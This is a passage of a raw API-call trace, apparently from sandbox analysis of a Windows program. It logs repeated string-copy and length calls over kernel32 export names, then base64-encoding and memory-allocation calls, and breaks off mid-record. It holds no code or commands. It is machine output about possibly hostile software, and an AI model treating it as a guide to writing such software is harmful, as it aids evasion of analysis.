lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0055.154] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0055.154] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0055.154] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0055.154] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0055.154] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0055.154] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0055.154] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0055.154] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0055.154] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0055.154] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0055.154] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0055.154] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0055.154] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0055.154] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0055.154] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0055.154] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0055.154] lstrlenA (lpString="CREATEEVENTA") returned 12 [0055.154] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0055.154] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0055.154] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0055.154] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0055.154] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0055.154] lstrlenA (lpString="CREATEEVENTW") returned 12 [0055.154] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0055.154] lstrlenA (lpString="CREATEFIBER") returned 11 [0055.154] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0055.154] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0055.154] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0055.154] lstrlenA (lpString="CREATEFILEA") returned 11 [0055.154] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0055.154] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0055.154] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0055.154] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0055.155] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0055.155] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0055.155] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0055.155] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0055.155] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0055.155] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0055.155] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0055.155] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0055.155] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0055.155] lstrlenA (lpString="CREATEFILEW") returned 11 [0055.155] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0055.155] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0055.155] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0055.155] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0055.155] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0055.155] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0055.155] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0055.155] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0055.155] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0055.155] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0055.155] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0055.155] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0055.155] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0055.155] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0055.155] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0055.155] lstrlenA (lpString="CREATEJOBSET") returned 12 [0055.155] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0055.155] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0055.155] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0055.155] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0055.155] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0055.155] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0055.155] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0055.155] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0055.155] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0055.155] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0055.156] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0055.156] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0055.156] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0055.156] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0055.156] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0055.156] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0055.156] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0055.156] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0055.156] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0055.156] lstrlenA (lpString="CREATEPIPE") returned 10 [0055.156] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0055.156] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0055.156] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0055.156] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0055.156] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0055.156] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0055.156] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0055.156] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0055.156] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0055.156] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0055.156] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0055.156] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0055.156] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0055.156] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0055.156] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0055.156] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0055.156] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0055.156] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0055.157] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0055.157] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0055.157] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0055.157] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0055.157] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0055.157] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0055.157] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0055.157] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0055.157] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0055.157] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0055.157] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0055.157] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0055.157] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0055.157] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0055.157] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0055.157] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0055.157] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0055.157] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0055.157] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0055.157] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0055.157] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0055.157] lstrlenA (lpString="CREATETHREAD") returned 12 [0055.157] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0055.157] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0055.157] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0055.157] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0055.157] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0055.157] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0055.157] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0055.157] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0055.157] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0055.157] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0055.157] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0055.157] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0055.157] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0055.157] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0055.158] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0055.158] lstrlenA (lpString="CREATETIMERQUEUETIMER") returned 21 [0055.158] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateToolhelp32Snapshot" | out: lpString1="CreateToolhelp32Snapshot") returned="CreateToolhelp32Snapshot" [0055.158] lstrlenA (lpString="CREATETOOLHELP32SNAPSHOT") returned 24 [0055.158] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateWaitableTimerA" | out: lpString1="CreateWaitableTimerA") returned="CreateWaitableTimerA" [0055.158] lstrlenA (lpString="CREATEWAITABLETIMERA") returned 20 [0055.158] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateWaitableTimerExA" | out: lpString1="CreateWaitableTimerExA") returned="CreateWaitableTimerExA" [0055.158] lstrlenA (lpString="CREATEWAITABLETIMEREXA") returned 22 [0055.158] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateWaitableTimerExW" | out: lpString1="CreateWaitableTimerExW") returned="CreateWaitableTimerExW" [0055.158] lstrlenA (lpString="CREATEWAITABLETIMEREXW") returned 22 [0055.158] lstrcpyA (in: lpString1=0x34db0c, lpString2="CreateWaitableTimerW" | out: lpString1="CreateWaitableTimerW") returned="CreateWaitableTimerW" [0055.158] lstrlenA (lpString="CREATEWAITABLETIMERW") returned 20 [0055.158] lstrcpyA (in: lpString1=0x34db0c, lpString2="CtrlRoutine" | out: lpString1="CtrlRoutine") returned="CtrlRoutine" [0055.158] lstrlenA (lpString="CTRLROUTINE") returned 11 [0055.158] lstrcpyA (in: lpString1=0x34db0c, lpString2="DeactivateActCtx" | out: lpString1="DeactivateActCtx") returned="DeactivateActCtx" [0055.158] lstrlenA (lpString="DEACTIVATEACTCTX") returned 16 [0055.158] lstrcpyA (in: lpString1=0x34db0c, lpString2="DebugActiveProcess" | out: lpString1="DebugActiveProcess") returned="DebugActiveProcess" [0055.158] lstrlenA (lpString="DEBUGACTIVEPROCESS") returned 18 [0055.158] lstrcpyA (in: lpString1=0x34db0c, lpString2="DebugActiveProcessStop" | out: lpString1="DebugActiveProcessStop") returned="DebugActiveProcessStop" [0055.158] lstrlenA (lpString="DEBUGACTIVEPROCESSSTOP") returned 22 [0055.158] lstrcpyA (in: lpString1=0x34db0c, lpString2="DebugBreak" | out: lpString1="DebugBreak") returned="DebugBreak" [0055.158] lstrlenA (lpString="DEBUGBREAK") returned 10 [0055.158] lstrcpyA (in: lpString1=0x34db0c, lpString2="DebugBreakProcess" | out: lpString1="DebugBreakProcess") returned="DebugBreakProcess" [0055.158] lstrlenA (lpString="DEBUGBREAKPROCESS") returned 17 [0055.158] lstrcpyA (in: lpString1=0x34db0c, lpString2="DebugSetProcessKillOnExit" | out: lpString1="DebugSetProcessKillOnExit") returned="DebugSetProcessKillOnExit" [0055.158] lstrlenA (lpString="DEBUGSETPROCESSKILLONEXIT") returned 25 [0055.158] lstrcpyA (in: lpString1=0x34db0c, lpString2="DecodePointer" | out: lpString1="DecodePointer") returned="DecodePointer" [0055.158] lstrlenA (lpString="DECODEPOINTER") returned 13 [0055.158] lstrcpyA (in: lpString1=0x34db0c, lpString2="DecodeSystemPointer" | out: lpString1="DecodeSystemPointer") returned="DecodeSystemPointer" [0055.158] lstrlenA (lpString="DECODESYSTEMPOINTER") returned 19 [0055.158] lstrcpyA (in: lpString1=0x34db0c, lpString2="DefineDosDeviceA" | out: lpString1="DefineDosDeviceA") returned="DefineDosDeviceA" [0055.158] lstrlenA (lpString="DEFINEDOSDEVICEA") returned 16 [0055.158] lstrcpyA (in: lpString1=0x34db0c, lpString2="DefineDosDeviceW" | out: lpString1="DefineDosDeviceW") returned="DefineDosDeviceW" [0055.158] lstrlenA (lpString="DEFINEDOSDEVICEW") returned 16 [0055.158] lstrcpyA (in: lpString1=0x34db0c, lpString2="DelayLoadFailureHook" | out: lpString1="DelayLoadFailureHook") returned="DelayLoadFailureHook" [0055.159] lstrlenA (lpString="DELAYLOADFAILUREHOOK") returned 20 [0055.159] lstrcpyA (in: lpString1=0x34db0c, lpString2="DeleteAtom" | out: lpString1="DeleteAtom") returned="DeleteAtom" [0055.159] lstrlenA (lpString="DELETEATOM") returned 10 [0055.159] lstrcpyA (in: lpString1=0x34db0c, lpString2="DeleteBoundaryDescriptor" | out: lpString1="DeleteBoundaryDescriptor") returned="DeleteBoundaryDescriptor" [0055.159] lstrlenA (lpString="DELETEBOUNDARYDESCRIPTOR") returned 24 [0055.159] lstrcpyA (in: lpString1=0x34db0c, lpString2="DeleteCriticalSection" | out: lpString1="DeleteCriticalSection") returned="DeleteCriticalSection" [0055.159] lstrlenA (lpString="DELETECRITICALSECTION") returned 21 [0055.159] lstrcpyA (in: lpString1=0x34db0c, lpString2="DeleteFiber" | out: lpString1="DeleteFiber") returned="DeleteFiber" [0055.159] lstrlenA (lpString="DELETEFIBER") returned 11 [0055.159] lstrcpyA (in: lpString1=0x34db0c, lpString2="DeleteFileA" | out: lpString1="DeleteFileA") returned="DeleteFileA" [0055.159] lstrlenA (lpString="DELETEFILEA") returned 11 [0055.159] lstrcpyA (in: lpString1=0x34db0c, lpString2="DeleteFileTransactedA" | out: lpString1="DeleteFileTransactedA") returned="DeleteFileTransactedA" [0055.159] lstrlenA (lpString="DELETEFILETRANSACTEDA") returned 21 [0055.159] lstrcpyA (in: lpString1=0x34db0c, lpString2="DeleteFileTransactedW" | out: lpString1="DeleteFileTransactedW") returned="DeleteFileTransactedW" [0055.159] lstrlenA (lpString="DELETEFILETRANSACTEDW") returned 21 [0055.159] lstrcpyA (in: lpString1=0x34db0c, lpString2="DeleteFileW" | out: lpString1="DeleteFileW") returned="DeleteFileW" [0055.159] lstrlenA (lpString="DELETEFILEW") returned 11 [0055.159] lstrcpyA (in: lpString1=0x34db0c, lpString2="DeleteProcThreadAttributeList" | out: lpString1="DeleteProcThreadAttributeList") returned="DeleteProcThreadAttributeList" [0055.159] lstrlenA (lpString="DELETEPROCTHREADATTRIBUTELIST") returned 29 [0055.159] lstrcpyA (in: lpString1=0x34db0c, lpString2="DeleteTimerQueue" | out: lpString1="DeleteTimerQueue") returned="DeleteTimerQueue" [0055.159] lstrlenA (lpString="DELETETIMERQUEUE") returned 16 [0055.159] lstrcpyA (in: lpString1=0x34db0c, lpString2="DeleteTimerQueueEx" | out: lpString1="DeleteTimerQueueEx") returned="DeleteTimerQueueEx" [0055.159] lstrlenA (lpString="DELETETIMERQUEUEEX") returned 18 [0055.159] lstrcpyA (in: lpString1=0x34db0c, lpString2="DeleteTimerQueueTimer" | out: lpString1="DeleteTimerQueueTimer") returned="DeleteTimerQueueTimer" [0055.159] lstrlenA (lpString="DELETETIMERQUEUETIMER") returned 21 [0055.159] lstrcpyA (in: lpString1=0x34db0c, lpString2="DeleteVolumeMountPointA" | out: lpString1="DeleteVolumeMountPointA") returned="DeleteVolumeMountPointA" [0055.159] lstrlenA (lpString="DELETEVOLUMEMOUNTPOINTA") returned 23 [0055.159] lstrcpyA (in: lpString1=0x34db0c, lpString2="DeleteVolumeMountPointW" | out: lpString1="DeleteVolumeMountPointW") returned="DeleteVolumeMountPointW" [0055.159] lstrlenA (lpString="DELETEVOLUMEMOUNTPOINTW") returned 23 [0055.159] lstrcpyA (in: lpString1=0x34db0c, lpString2="DeviceIoControl" | out: lpString1="DeviceIoControl") returned="DeviceIoControl" [0055.159] lstrlenA (lpString="DEVICEIOCONTROL") returned 15 [0055.159] lstrcpyA (in: lpString1=0x34db0c, lpString2="DisableThreadLibraryCalls" | out: lpString1="DisableThreadLibraryCalls") returned="DisableThreadLibraryCalls" [0055.159] lstrlenA (lpString="DISABLETHREADLIBRARYCALLS") returned 25 [0055.159] lstrcpyA (in: lpString1=0x34db0c, lpString2="DisableThreadProfiling" | out: lpString1="DisableThreadProfiling") returned="DisableThreadProfiling" [0055.159] lstrlenA (lpString="DISABLETHREADPROFILING") returned 22 [0055.159] lstrcpyA (in: lpString1=0x34db0c, lpString2="DisassociateCurrentThreadFromCallback" | out: lpString1="DisassociateCurrentThreadFromCallback") returned="DisassociateCurrentThreadFromCallback" [0055.160] lstrlenA (lpString="DISASSOCIATECURRENTTHREADFROMCALLBACK") returned 37 [0055.160] lstrcpyA (in: lpString1=0x34db0c, lpString2="DisconnectNamedPipe" | out: lpString1="DisconnectNamedPipe") returned="DisconnectNamedPipe" [0055.160] lstrlenA (lpString="DISCONNECTNAMEDPIPE") returned 19 [0055.160] lstrcpyA (in: lpString1=0x34db0c, lpString2="DnsHostnameToComputerNameA" | out: lpString1="DnsHostnameToComputerNameA") returned="DnsHostnameToComputerNameA" [0055.160] lstrlenA (lpString="DNSHOSTNAMETOCOMPUTERNAMEA") returned 26 [0055.160] lstrcpyA (in: lpString1=0x34db0c, lpString2="DnsHostnameToComputerNameW" | out: lpString1="DnsHostnameToComputerNameW") returned="DnsHostnameToComputerNameW" [0055.160] lstrlenA (lpString="DNSHOSTNAMETOCOMPUTERNAMEW") returned 26 [0055.160] lstrcpyA (in: lpString1=0x34db0c, lpString2="DosDateTimeToFileTime" | out: lpString1="DosDateTimeToFileTime") returned="DosDateTimeToFileTime" [0055.160] lstrlenA (lpString="DOSDATETIMETOFILETIME") returned 21 [0055.160] lstrcpyA (in: lpString1=0x34db0c, lpString2="DosPathToSessionPathA" | out: lpString1="DosPathToSessionPathA") returned="DosPathToSessionPathA" [0055.160] lstrlenA (lpString="DOSPATHTOSESSIONPATHA") returned 21 [0055.160] lstrcpyA (in: lpString1=0x34db0c, lpString2="DosPathToSessionPathW" | out: lpString1="DosPathToSessionPathW") returned="DosPathToSessionPathW" [0055.160] lstrlenA (lpString="DOSPATHTOSESSIONPATHW") returned 21 [0055.160] lstrcpyA (in: lpString1=0x34db0c, lpString2="DuplicateConsoleHandle" | out: lpString1="DuplicateConsoleHandle") returned="DuplicateConsoleHandle" [0055.160] lstrlenA (lpString="DUPLICATECONSOLEHANDLE") returned 22 [0055.160] lstrcpyA (in: lpString1=0x34db0c, lpString2="DuplicateHandle" | out: lpString1="DuplicateHandle") returned="DuplicateHandle" [0055.160] lstrlenA (lpString="DUPLICATEHANDLE") returned 15 [0055.160] lstrcpyA (in: lpString1=0x34db0c, lpString2="EnableThreadProfiling" | out: lpString1="EnableThreadProfiling") returned="EnableThreadProfiling" [0055.160] lstrlenA (lpString="ENABLETHREADPROFILING") returned 21 [0055.160] lstrcpyA (in: lpString1=0x34db0c, lpString2="EncodePointer" | out: lpString1="EncodePointer") returned="EncodePointer" [0055.160] lstrlenA (lpString="ENCODEPOINTER") returned 13 [0055.160] lstrcpyA (in: lpString1=0x34db0c, lpString2="EncodeSystemPointer" | out: lpString1="EncodeSystemPointer") returned="EncodeSystemPointer" [0055.160] lstrlenA (lpString="ENCODESYSTEMPOINTER") returned 19 [0055.160] lstrcpyA (in: lpString1=0x34db0c, lpString2="EndUpdateResourceA" | out: lpString1="EndUpdateResourceA") returned="EndUpdateResourceA" [0055.160] lstrlenA (lpString="ENDUPDATERESOURCEA") returned 18 [0055.160] lstrcpyA (in: lpString1=0x34db0c, lpString2="EndUpdateResourceW" | out: lpString1="EndUpdateResourceW") returned="EndUpdateResourceW" [0055.160] lstrlenA (lpString="ENDUPDATERESOURCEW") returned 18 [0055.160] lstrcpyA (in: lpString1=0x34db0c, lpString2="EnterCriticalSection" | out: lpString1="EnterCriticalSection") returned="EnterCriticalSection" [0055.160] lstrlenA (lpString="ENTERCRITICALSECTION") returned 20 [0055.160] lstrcpyA (in: lpString1=0x34db0c, lpString2="EnumCalendarInfoA" | out: lpString1="EnumCalendarInfoA") returned="EnumCalendarInfoA" [0055.160] lstrlenA (lpString="ENUMCALENDARINFOA") returned 17 [0055.160] lstrcpyA (in: lpString1=0x34db0c, lpString2="EnumCalendarInfoExA" | out: lpString1="EnumCalendarInfoExA") returned="EnumCalendarInfoExA" [0055.160] lstrlenA (lpString="ENUMCALENDARINFOEXA") returned 19 [0055.160] lstrcpyA (in: lpString1=0x34db0c, lpString2="EnumCalendarInfoExEx" | out: lpString1="EnumCalendarInfoExEx") returned="EnumCalendarInfoExEx" [0055.160] lstrlenA (lpString="ENUMCALENDARINFOEXEX") returned 20 [0055.161] lstrcpyA (in: lpString1=0x34db0c, lpString2="EnumCalendarInfoExW" | out: lpString1="EnumCalendarInfoExW") returned="EnumCalendarInfoExW" [0055.161] lstrlenA (lpString="ENUMCALENDARINFOEXW") returned 19 [0055.161] lstrcpyA (in: lpString1=0x34db0c, lpString2="EnumCalendarInfoW" | out: lpString1="EnumCalendarInfoW") returned="EnumCalendarInfoW" [0055.161] lstrlenA (lpString="ENUMCALENDARINFOW") returned 17 [0055.161] lstrcpyA (in: lpString1=0x34db0c, lpString2="EnumDateFormatsA" | out: lpString1="EnumDateFormatsA") returned="EnumDateFormatsA" [0055.161] lstrlenA (lpString="ENUMDATEFORMATSA") returned 16 [0055.161] lstrcpyA (in: lpString1=0x34db0c, lpString2="EnumDateFormatsExA" | out: lpString1="EnumDateFormatsExA") returned="EnumDateFormatsExA" [0055.161] lstrlenA (lpString="ENUMDATEFORMATSEXA") returned 18 [0055.161] lstrcpyA (in: lpString1=0x34db0c, lpString2="EnumDateFormatsExEx" | out: lpString1="EnumDateFormatsExEx") returned="EnumDateFormatsExEx" [0055.161] lstrlenA (lpString="ENUMDATEFORMATSEXEX") returned 19 [0055.161] lstrcpyA (in: lpString1=0x34db0c, lpString2="EnumDateFormatsExW" | out: lpString1="EnumDateFormatsExW") returned="EnumDateFormatsExW" [0055.161] lstrlenA (lpString="ENUMDATEFORMATSEXW") returned 18 [0055.161] lstrcpyA (in: lpString1=0x34db0c, lpString2="EnumDateFormatsW" | out: lpString1="EnumDateFormatsW") returned="EnumDateFormatsW" [0055.164] CryptBinaryToStringA (in: pbBinary=0x2f70000, cbBinary=0x782, dwFlags=0x40000001, pszString=0x0, pcchString=0x34e8bc | out: pszString=0x0, pcchString=0x34e8bc) returned 1 [0055.164] VirtualAlloc (lpAddress=0x0, dwSize=0xa05, flAllocationType=0x3000, flProtect=0x4) returned 0x2f80000 [0055.164] CryptBinaryToStringA (in: pbBinary=0x2f70000, cbBinary=0x782, dwFlags=0x40000001, pszString=0x2f80000, pcchString=0x34e8bc | out: 